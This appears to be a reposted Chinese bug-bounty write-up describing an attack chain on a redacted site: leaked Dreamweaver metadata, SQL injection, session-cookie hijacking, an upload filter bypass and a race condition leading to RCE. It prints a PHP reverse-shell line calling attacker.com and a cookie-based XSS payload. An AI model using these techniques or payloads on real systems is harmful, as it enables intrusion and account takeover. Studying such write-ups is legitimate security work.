标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2475]   作者: 闲云野鸡 发表于: [2019-09-27]

本文共 [329] 位读者顶过

前言

[出自:jiwo.org]

在bugcrowd上挖漏洞的时候,我发现基于cookie型的XSS漏洞,给出的评级仅是P5,并没有达到严重的程度,这将会导致可能拿不到奖金,这是非常遗憾的一件事情。



信息泄露


在bugcrowd中搜索一段时间之后,我并没有找到具有XSS漏洞的子域名,然后我试着使用目录爆破进行查找,在其中一个子域名上,我找到了一个有趣的文件。


https://redacted.com/dir/_notes/dwsync.xml


文件dwsync.xml是由Dreamweaver生成的,这个文件中包含与网站文件相关的信息。



SQL注入


默认情况下,访问网站需要凭据,然而,我无法在该网站上注册账户。上面我爆破得到的信息利用一下,根据dwsync.xml文件中的信息,我们可以获得与目标网站上的文件相关的信息。所以我试图访问其中一个文件,例如我试图访问该文件redacted.php。

在网站上看到会出现一条错误消息Undefined index: ver,这意味着在页面上有一些ver尚未定义的变量。为此,我还将URL更改为:


https://redacted.com/dir/redacted.php?ver=1

页面的外观不仅发生变化,而且还显示数字1

虽然,不知道数字1的含义是什么,但是看到URL中的参数,我试着在符号上添加参数,结果......


这个回显的错误看起来很熟悉,我立即尝试在SQLmap的帮助下进行SQL注入。获得下面的数据库列表:


  1. available databases [5]:

  2. [*] information_schema

  3. [*] mysql

  4. [*] performance_schema

  5. [*] redacted_db

  6. [*] tmp



身份验证绕过


由于已经发现了SQL注入漏洞,我试着将shell上传到目标服务器,但是结果失败了,所以我只能使用通过使用sql注入得到的网站数据,登录网站。


在提取redacted_db数据库时,我找到了一个名为user_tbl的表,在表格user中,提供了目标站点很多信息,但是很不幸的是,password使用了MD5进行加密,当我试着破解的时候,没有得到任何反应。


我只能去找在该数据库中的其它表,继续深入,我找到一个名为session_tbl的表,在该表中,只有三个列:id,user_id和session。


我认为session中包含该网站的用户,我在user_tbl表中,查找具有更高级别的用户,并在表中查找session列,


然后,我尝试使用会话名称将从数据库获得的会话session值输入到Cookie网站中,最后我成功的登录了该网站。



无限制的文件上传


在登录目标站点之后,我继续寻找其它可以被利用的漏洞,在网站有一个文件上传的功能,我试着测试一下。

我尝试上传后缀名为.phtml的文件,但是被拒绝上传。

但我怀疑,过滤器只能在客户端运行。也就是说,有可能在Burpsuite等工具的帮助下绕过这个过滤。所以我试着使用burp,再次上传文件,这次是的后缀名是:.jpg,然后使用Burpsuite拦截,将后缀名改为.phtml的后缀名。

使用上述方法后,文件已经成功上传,查看响应,该文件存储在AWS中,而不是存储在目标站点上。


https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml



远程代码执行


发现上传的文件存储在AWS中,知道自己在这个文件上可以做的事情并不多,因为我们的目标是Web服务器而不是AWS服务器。所以我也尝试了解目标服务器显示的响应。





/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.SUCCESS 5267398235


从上面的响应中,我假设上传的文件除了存储在AWS上之外,有可能存储在目标站点的redacted目录下。所以我尝试访问以下网址:


https://redacted.com/redacted/redacted/info.phtml

但是找不到该文件

经过一段时间的思考之后,我认为如果回响显示目录,那么redacted与我上传的文件肯定是相关的。


假设:我们上传的文件存储在redacted中的sementara目录下,然后经过一段时间转移AWS服务器中的lempar目录下。


如果上述的假设是正确的,那么在转移到AWS之前,我们的文件将在目标站点的服务器上停留一段时间。


为了验证这个假设,我使用burpsuite进行爆破redacted前面目录中文件的url。

有一段时间该文件位于目标服务器上(HTTP回显是200的时候),并且在该文件消失不久(HTTP回显是404的时候),表明该文件已经转移至AWS服务器中。


根据上面的描述,我们可以上传PHP webshell以从目标网站拿到shell



<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'"); 

最后我还可以访问目标服务器。

在拿到shell之后,我放置了一个包含javascript的HTML文件,以便在该网站上触发XSS攻击。


使用的HTML代码如下


<script>document。cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>

我们可以在redacted.com上创建一个名为Evil的cookie,cookie中包含XSS payload:<img src=x onerror=alert(1)>,因此,当访问该站点时,将加载Cookie并触发XSS。

结论


下面总结一些挖漏洞的技巧:


  1. 当发现低危漏洞时,最好不要立即上报,尽量扩大漏洞影响范围。


  2. 如果你发现该网站没有注册功能,使用dirsearch对目录进行爆破,爆破之后发现网站只显示一个登录页面,并没有注册功能,说明该网站只能由内部人员进行访问,对于这种类型的网站,通常漏洞还是很多的。


  3. 如果你发现SQL注入并且数据库上的用户名密码经过加密,可以查询该数据库下面的其它表,可能会有其它发现。


  4. 当你找到上传的测试点时,如果无法上传hell,尝试使用burp 更改上传文件的后缀名,进行上传操作。


感谢你的阅读,希望这篇文章可以给你启发。

评论

暂无
发表评论
 返回顶部 
热度(329)
 关注微信